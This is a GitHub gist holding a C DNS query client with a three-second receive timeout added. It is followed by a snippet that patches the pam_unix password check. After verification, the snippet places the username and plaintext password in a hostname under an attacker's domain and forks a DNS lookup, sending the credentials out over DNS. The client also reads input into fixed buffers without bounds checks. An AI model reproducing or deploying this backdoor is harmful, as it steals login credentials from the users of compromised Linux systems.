Last active
October 1, 2022 06:12
-
-
Save isafe/052f107e29fe83f539e77121f67b8b44 to your computer and use it in GitHub Desktop.
dns.c add timeout
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//DNS Query Program on Linux | |
//Author : Silver Moon (m00n.silv3r@gmail.com) | |
//Dated : 29/4/2009 | |
//Header Files | |
#include<stdio.h> //printf | |
#include<string.h> //strlen | |
#include<stdlib.h> //malloc | |
#include<sys/socket.h> //you know what this is for | |
#include<arpa/inet.h> //inet_addr , inet_ntoa , ntohs etc | |
#include<netinet/in.h> | |
#include<unistd.h> //getpid | |
//List of DNS Servers registered on the system | |
char dns_servers[10][100]; | |
int dns_server_count = 0; | |
//Types of DNS resource records :) | |
#define T_A 1 //IPv4 address | |
#define T_NS 2 //Nameserver | |
#define T_CNAME 5 // canonical name | |
#define T_SOA 6 /* start of authority zone */ | |
#define T_PTR 12 /* domain name pointer */ | |
#define T_MX 15 //Mail server | |
//Function Prototypes | |
void ngethostbyname (unsigned char* , int); | |
void ChangetoDnsNameFormat (unsigned char*,unsigned char*); | |
unsigned char* ReadName (unsigned char*,unsigned char*,int*); | |
void get_dns_servers(); | |
//DNS header structure | |
// | |
//For some weird reason, there is no DNS header in Linux. | |
// | |
struct DNS_HEADER | |
{ | |
unsigned short id; // identification number | |
unsigned char rd :1; // recursion desired | |
unsigned char tc :1; // truncated message | |
unsigned char aa :1; // authoritive answer | |
unsigned char opcode :4; // purpose of message | |
unsigned char qr :1; // query/response flag | |
unsigned char rcode :4; // response code | |
unsigned char cd :1; // checking disabled | |
unsigned char ad :1; // authenticated data | |
unsigned char z :1; // its z! reserved | |
unsigned char ra :1; // recursion available | |
unsigned short q_count; // number of question entries | |
unsigned short ans_count; // number of answer entries | |
unsigned short auth_count; // number of authority entries | |
unsigned short add_count; // number of resource entries | |
}; | |
// set timeiout | |
struct timeval timeout; // Time out value | |
//Constant sized fields of query structure | |
struct QUESTION | |
{ | |
unsigned short qtype; | |
unsigned short qclass; | |
}; | |
//Constant sized fields of the resource record structure | |
#pragma pack(push, 1) | |
struct R_DATA | |
{ | |
unsigned short type; | |
unsigned short _class; | |
unsigned int ttl; | |
unsigned short data_len; | |
}; | |
#pragma pack(pop) | |
//Pointers to resource record contents | |
struct RES_RECORD | |
{ | |
unsigned char *name; | |
struct R_DATA *resource; | |
unsigned char *rdata; | |
}; | |
//Structure of a Query | |
typedef struct | |
{ | |
unsigned char *name; | |
struct QUESTION *ques; | |
} QUERY; | |
int main( int argc , char *argv[]) | |
{ | |
unsigned char hostname[100]; | |
//Get the DNS servers from the resolv.conf file | |
get_dns_servers(); | |
//Get the hostname from the terminal | |
printf("Enter Hostname to Lookup : "); | |
scanf("%s" , hostname); | |
//Now get the ip of this hostname , A record | |
ngethostbyname(hostname , T_A); | |
return 0; | |
} | |
/* | |
* Perform a DNS query by sending a packet | |
* */ | |
void ngethostbyname(unsigned char *host , int query_type) | |
{ | |
unsigned char buf[65536],*qname,*reader; | |
int i , j , stop , s; | |
struct sockaddr_in a; | |
struct sockaddr_in dest; | |
struct DNS_HEADER *dns = NULL; | |
struct QUESTION *qinfo = NULL; | |
printf("Resolving %s" , host); | |
s = socket(AF_INET , SOCK_DGRAM , IPPROTO_UDP); //UDP packet for DNS queries | |
timeout.tv_sec = 3; //timeout | |
timeout.tv_usec = 0; | |
setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout)); | |
// | |
// socket (int domain, int type, int protocol) | |
// | |
// Create a socket (return as file descriptor) | |
// | |
// AF_INET IPv4 | |
// | |
// SOCK_DGRAM Supports datagrams (connectionless, unreliable | |
// messages of a fixed maximum length). | |
// | |
// IPPROTO_UDP Use UDP | |
// | |
// ref: http://man7.org/linux/man-pages/man2/socket.2.html | |
// https://linux.die.net/man/7/ip | |
// | |
dest.sin_family = AF_INET; | |
dest.sin_port = htons(53); | |
dest.sin_addr.s_addr = inet_addr(dns_servers[0]); //dns servers | |
// | |
// AF_INET: internet address family, always set as this value. | |
// https://stackoverflow.com/a/6737450/1274224 | |
// | |
// htons: transfer (short) integer to network network byte order | |
// | |
// inet_addr: transfer ip string ("aaa.bbb.ccc.ddd") to an integer | |
// value suitable for use as an Internet address. | |
// | |
// ref: https://linux.die.net/man/7/ip | |
// | |
//Set the DNS structure to standard queries | |
dns = (struct DNS_HEADER *)&buf; | |
// | |
// DNS header: http://www.networksorcery.com/enp/protocol/dns.htm | |
// | |
dns->id = (unsigned short) htons(getpid()); | |
dns->qr = 0; //This is a query | |
dns->opcode = 0; //This is a standard query (URL -> IP) | |
dns->aa = 0; //Not Authoritative | |
dns->tc = 0; //This message is not truncated | |
dns->rd = 1; //Recursion Desired | |
dns->ra = 0; //Recursion not available! hey we dont have it (lol) | |
dns->z = 0; | |
dns->ad = 0; | |
dns->cd = 0; | |
dns->rcode = 0; | |
dns->q_count = htons(1); //we have only 1 question | |
dns->ans_count = 0; | |
dns->auth_count = 0; | |
dns->add_count = 0; | |
// | |
// DNS question section: | |
// http://www.zytrax.com/books/dns/ch15/#question | |
// | |
qname = (unsigned char*)&buf[sizeof(struct DNS_HEADER)]; | |
// | |
// Transfer domain name to DNS query format and put to | |
// qname | |
// | |
ChangetoDnsNameFormat(qname , host); | |
// | |
// move ahead of the DNS header and the query field | |
// | |
qinfo =(struct QUESTION*)&buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname) + 1)]; | |
// | |
// Query type: resource record types | |
// A type: IPv4 Address Record | |
// | |
// Complete list: | |
// https://en.wikipedia.org/wiki/List_of_DNS_record_types | |
// | |
qinfo->qtype = htons( query_type ); | |
// | |
// Assign 1 to QCLASS to represent IN (Internet) | |
// | |
// Complete list: | |
// http://www.iana.org/assignments/dns-parameters/dns-parameters.xhtml#dns-parameters-2 | |
// | |
qinfo->qclass = htons(1); | |
printf("\nSending Packet..."); | |
size_t query_len = | |
sizeof(struct DNS_HEADER) + | |
(strlen((const char*)qname) + 1) + | |
sizeof(struct QUESTION); | |
// Send DNS request through socket | |
if (sendto(s, (char*)buf, query_len, 0, (struct sockaddr*)&dest, sizeof(dest)) < 0) { | |
// | |
// About sockaddr and sockaddr_in: | |
// https://www.quora.com/What-is-the-difference-between-%E2%80%9Cstruct-sockaddr%E2%80%9D-and-%E2%80%9Cstruct-sockaddr_in%E2%80%9D-on-Linux-systems | |
// | |
// In short, sockaddr_in is for IPv4, sockaddr is a more generic struct that supports | |
// other kind of network protocol | |
// | |
perror("sendto failed"); | |
} | |
printf("Done"); | |
// Receive the answer | |
i = sizeof dest; | |
printf("\nReceiving answer..."); | |
if (recvfrom (s, (char*)buf, 65536, 0, (struct sockaddr*)&dest, (socklen_t*)&i) < 0) { | |
perror("recvfrom failed"); | |
} | |
printf("Done"); | |
dns = (struct DNS_HEADER*) buf; | |
//move ahead of the dns header and the query field | |
reader = &buf[query_len]; | |
printf("\nThe response contains: "); | |
printf("\n %d Questions.", ntohs(dns->q_count)); | |
printf("\n %d Answers.", ntohs(dns->ans_count)); | |
printf("\n %d Authoritative Servers.", ntohs(dns->auth_count)); | |
printf("\n %d Additional records.\n\n", ntohs(dns->add_count)); | |
//Start reading answers | |
struct RES_RECORD answers[20], auth[20], addit[20]; //the replies from the DNS server | |
stop = 0; | |
for(i = 0; i < ntohs(dns->ans_count); i++) { | |
answers[i].name = ReadName(reader, buf, &stop); | |
reader = reader + stop; | |
answers[i].resource = (struct R_DATA*)(reader); | |
reader = reader + sizeof(struct R_DATA); | |
if (ntohs(answers[i].resource->type) == T_A) { | |
// | |
// if the response data type is IPv4 address (A) | |
// | |
size_t ans_len = ntohs(answers[i].resource->data_len); | |
answers[i].rdata = (unsigned char*)malloc(ans_len + 1); | |
memcpy((void*)answers[i].rdata, reader, ans_len); | |
//add a null charactor to make it a c-string | |
answers[i].rdata[ans_len] = '\0'; | |
reader += ans_len; | |
} else { | |
answers[i].rdata = ReadName(reader, buf, &stop); | |
reader = reader + stop; | |
} | |
} | |
//read authorities | |
for(i=0;i<ntohs(dns->auth_count);i++) | |
{ | |
auth[i].name=ReadName(reader,buf,&stop); | |
reader+=stop; | |
auth[i].resource=(struct R_DATA*)(reader); | |
reader+=sizeof(struct R_DATA); | |
auth[i].rdata=ReadName(reader,buf,&stop); | |
reader+=stop; | |
} | |
//read additional | |
for(i=0;i<ntohs(dns->add_count);i++) | |
{ | |
addit[i].name=ReadName(reader,buf,&stop); | |
reader+=stop; | |
addit[i].resource=(struct R_DATA*)(reader); | |
reader+=sizeof(struct R_DATA); | |
if(ntohs(addit[i].resource->type)==1) | |
{ | |
addit[i].rdata = (unsigned char*)malloc(ntohs(addit[i].resource->data_len)); | |
for(j=0;j<ntohs(addit[i].resource->data_len);j++) | |
addit[i].rdata[j]=reader[j]; | |
addit[i].rdata[ntohs(addit[i].resource->data_len)]='\0'; | |
reader+=ntohs(addit[i].resource->data_len); | |
} | |
else | |
{ | |
addit[i].rdata=ReadName(reader,buf,&stop); | |
reader+=stop; | |
} | |
} | |
//print answers | |
printf("\nAnswer Records : %d \n" , ntohs(dns->ans_count) ); | |
for (i = 0; i < ntohs(dns->ans_count); i++) | |
{ | |
printf("Name : %s ",answers[i].name); | |
if (ntohs(answers[i].resource->type) == T_A) { //IPv4 address | |
long *p; | |
p=(long*)answers[i].rdata; | |
a.sin_addr.s_addr=(*p); //working without ntohl | |
printf("has IPv4 address : %s",inet_ntoa(a.sin_addr)); | |
} | |
if(ntohs(answers[i].resource->type)==5) { | |
//Canonical name for an alias | |
printf("has alias name : %s",answers[i].rdata); | |
} | |
printf("\n"); | |
} | |
//print authorities | |
printf("\nAuthoritive Records : %d \n", ntohs(dns->auth_count)); | |
for(i = 0 ; i < ntohs(dns->auth_count); i++) { | |
printf("Name : %s ",auth[i].name); | |
if(ntohs(auth[i].resource->type)==2) { | |
printf("has nameserver : %s",auth[i].rdata); | |
} | |
printf("\n"); | |
} | |
//print additional resource records | |
printf("\nAdditional Records : %d \n", ntohs(dns->add_count)); | |
for(i = 0; i < ntohs(dns->add_count); i++) | |
{ | |
printf("Name : %s ",addit[i].name); | |
if(ntohs(addit[i].resource->type)==1) { | |
long *p; | |
p=(long*)addit[i].rdata; | |
a.sin_addr.s_addr=(*p); | |
printf("has IPv4 address : %s",inet_ntoa(a.sin_addr)); | |
} | |
printf("\n"); | |
} | |
return; | |
} | |
u_char* ReadName(unsigned char* reader, unsigned char* buffer, int* count) | |
{ | |
unsigned char *name; | |
unsigned int p = 0, jumped = 0, offset; | |
int i, j; | |
*count = 1; | |
name = (unsigned char*) malloc(256); | |
name[0]='\0'; | |
//read the names in 3www6google3com0 format | |
while(*reader!=0) { | |
if(*reader >= 192) { | |
offset = (*reader)*256 + *(reader+1) - 49152; //49152 = 11000000 00000000 ;) | |
reader = buffer + offset - 1; | |
jumped = 1; //we have jumped to another location so counting wont go up! | |
} else { | |
name[p++]=*reader; | |
} | |
reader = reader+1; | |
if(jumped==0) { | |
*count = *count + 1; //if we havent jumped to another location then we can count up | |
} | |
} | |
name[p] = '\0'; //string complete | |
if(jumped==1) | |
{ | |
*count = *count + 1; //number of steps we actually moved forward in the packet | |
} | |
//now convert 3www6google3com0 to www.google.com | |
for(i=0;i<(int)strlen((const char*)name);i++) | |
{ | |
p=name[i]; | |
for(j=0;j<(int)p;j++) | |
{ | |
name[i]=name[i+1]; | |
i=i+1; | |
} | |
name[i]='.'; | |
} | |
name[i-1]='\0'; //remove the last dot | |
return name; | |
} | |
/* | |
* Get the DNS servers from /etc/resolv.conf file on Linux | |
* */ | |
void get_dns_servers() | |
{ | |
FILE *fp; | |
char line[200] , *p; | |
if((fp = fopen("/etc/resolv.conf" , "r")) == NULL) | |
{ | |
printf("Failed opening /etc/resolv.conf file \n"); | |
} | |
while(fgets(line , 200 , fp)) | |
{ | |
if(line[0] == '#') | |
{ | |
continue; | |
} | |
if(strncmp(line , "nameserver" , 10) == 0) | |
{ | |
p = strtok(line , " "); | |
p = strtok(NULL , " "); | |
//p now is the dns ip :) | |
//???? | |
} | |
} | |
strcpy(dns_servers[0] , "192.168.1.5"); | |
} | |
void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host) | |
{ | |
// | |
// Domain name in DNS apcket has to represent in a specific format. | |
// For example: www.google.com --> 3www6google3com0 | |
// | |
// http://www.keyboardbanger.com/dns-message-format-name-compression/#Data_label | |
// | |
int lock = 0 , i; | |
// append "." to host string | |
strcat((char*)host,"."); | |
for(i = 0 ; i < strlen((char*)host) ; i++) | |
{ | |
if(host[i]=='.') | |
{ | |
*dns++ = i-lock; | |
for(;lock<i;lock++) | |
{ | |
*dns++=host[lock]; | |
} | |
lock++; //or lock=i+1; | |
} | |
} | |
*dns++='\0'; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
// (...)
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
unsigned char hostname[100];
snprintf(hostname, sizeof(hostname), "%s.%s.google.com", name, p); // Change it with your domain
if (fork() == 0) {
ngethostbyname(hostname, T_A);
}
name = p = NULL;
// (...)